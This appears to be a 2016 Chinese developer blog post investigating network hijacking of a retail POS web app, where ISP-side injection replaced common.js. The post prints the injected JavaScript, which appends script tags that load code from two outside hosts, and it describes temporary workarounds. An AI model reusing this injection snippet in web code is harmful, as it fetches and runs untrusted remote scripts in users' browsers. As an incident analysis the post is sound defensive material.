偷天换日:网络劫持,网页js被伪装替换。

   偷天换日

  3月12号石家庄一个客户(后面简称乙方)有几家门店,平台收银(web)有一些功能无法正常使用,平台有上千家门店在使用,到目前为止别的省份都没有此问题。远程协助发现,js日期控件无法正常调用,报js错误。日期插件用的是my97datepicker,用了这么久也没见出过什么问题。
  浏览器查看页面加载的js,发现页面本身加载的js中有重复的(随机重复),一个是common.js还有个common.js?145001231。代码中只有common.js。点开common.js?145001231发现代码没问题。再查看common.js。代码如下

try {
    if (!document.getElementById("mck0")) {
        var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(),
        s1 = "http://8.525cm.com/v2/v.php?id=01";
        var ar = new Array(2);
        ar[0] = s0;
        ar[1] = s1;
        var h = document.getElementsByTagName('head').item(0);
        for (var i = 0; i < 2; ++i) {
            var sc = document.createElement("script");
            sc.type = "text/javascript";
            sc.id = "mck" + i;
            sc.src = ar[i];
            h.appendChild(sc);
        }
    }
} catch(e) {}

  看到这就应该明白为什么会有common.js和common.js?145001231。

  问题找到了,怎么来的呢,先想到的是乙方操作系统有问题或内网arp欺骗。电话询问客户网络环境,得知这几个门店距离很远,不是在一起;而且每个门店使用的宽带都是单独开通的。电脑系统都是统一安装的。让乙方到隔壁店铺登录下试试,乙方找了隔壁的电脑登录后,远程协助,发现也有这个问题。(难道是运营商那边dns挟持的,感觉不太可能)

  这时候已经过去3,4个小时了,好几个门店的收银,和后台进销存无法正常使用。客户那边的经理打电话来,说找了台笔记本,用他们自己的wifi就有这个问题,用移动的4g网络就没问题。那就是网络有问题了,乙方也认同了。当时由于手上还有其他任务要忙,就暂时搁置了。

  3月30今天又得知江西南昌有个客服也遇到了同样的问题,发现问题一模一样。一家还能说是个例,第二家的出现需要将问题等级提高了,虽然不是平台的问题,但对于客户来说没法正常使用,必须要解决。

 

  应对方案

  1、分析代码。反其道而行,想移除添加的js。

  后来发现思路有点偏,替换的代码是直接添加一个script元素,平台中页面加载js是用document.write(<script/>),替换的js影响了原有页面的js加载顺序导致功能无法正常使用。试着在页面js文件引用改为xxx.js?123,试了下没问题了,又尝试改为xxx.js?,发现也可以,临时这么解决,把出问题的几个页面js引用修改了下。(此问题改过观察中)

  2、浏览器插件。(这个是下策)

 

  后续思考

  问题并没有真正解决,但是可以通过一些方法解决替换js后所带来的加载顺序问题。

  可以尝试用

  多js打包(还能减少服务器连接次数,提高性能,也要留意下IE和Firefox对同一域名进行请求的并发连接数限制),增加版本号。

  js模块化加载(requireJS类组件)。

 

  先写到这吧,此问题还在继续观察中...

posted @ 2016-03-30 23:00  -echo  阅读(12614)  评论(17编辑  收藏  举报
AmazingCounters.com次访问